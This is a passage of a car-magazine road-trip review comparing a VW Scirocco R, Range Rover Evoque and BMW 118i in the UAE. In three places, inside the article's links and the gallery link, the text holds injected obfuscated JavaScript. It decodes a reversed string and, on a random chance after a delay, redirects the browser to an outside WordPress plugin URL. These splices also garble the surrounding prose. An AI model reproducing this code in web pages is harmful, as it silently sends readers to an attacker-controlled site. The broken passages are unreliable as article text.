The Management Fleet. VW Scirocco R. A Challenge, Part One

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The interior is finished in black and a bright red, which gives it a performance feel, emphasised by the sports seats. Range Rover has really upped the quality of its interiors for the Evoque, and it’s even more solid than its full-size sibling, but with a fresher design. A rising centre console gives more of a cockpit feel, although the commanding seating position reminds me that I’m in an SUV. On the long slog across the UAE I’m as comfortable as anything – the ride is supple and, although the E66 motorway has been newly relaid, the few glitches in the tarmac are passed over with little more than a murmur from the tyres. The seats are cosy, and the stereo excellent.

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As we stop for fuel and water, James remarks that he’s forgotten how impressive the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/the-management-fleet-vw-scirocco-r-a-confusing-hoot/” target=”_blank”>Scirocco is. The standard car, which we had in the office for several months, was a favourite among the team, and the new addition has a similar feel. Visually it’s very similar, but has a more aggressive stance to it thanks to wider air intakes in the front bumper, side skirts and big five-spoke alloys covering black-painted callipers. I’m actually not convinced – I was a big fan of the standard $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/the-management-fleet-vw-scirocco-vs-porsche-991-carrera-s/” target=”_blank”>Scirocco’s lines and on the R they seem a little too beefed up.

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Once we reach Al Ain we head to Abu Dhabi Motors and pick up the 118i. Visually the car is little changed from standard, save for some tasty alloys and some vinyl stripes for visual flare. It still looks fairly respectable – although the new 1 Series doesn’t have the eye-catching flame surfacing of the previous generation, it’s pleasant enough on the eye. Inside, the M Sport-spec car is fitted with very tight sports seats –the most hugging I’ve been in for a while and surprisingly supportive for what is essentially a mid-spec machine. Being a modern BMW the quality of the interior is on a par with the Volkswagen and not far off the Range Rover, although for obvious price reasons it doesn’t have the same levels of equipment.

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With the convoy complete, we head through Al Ain and out towards the mountain.

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$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/photos-section/range-rover-evoque-vs-bmw-118i-vs-volkswagen-scirocco-r/” target=”_blank”>- FULL GALLERY OF IMAGES AVAILABLE HERE – CLICK –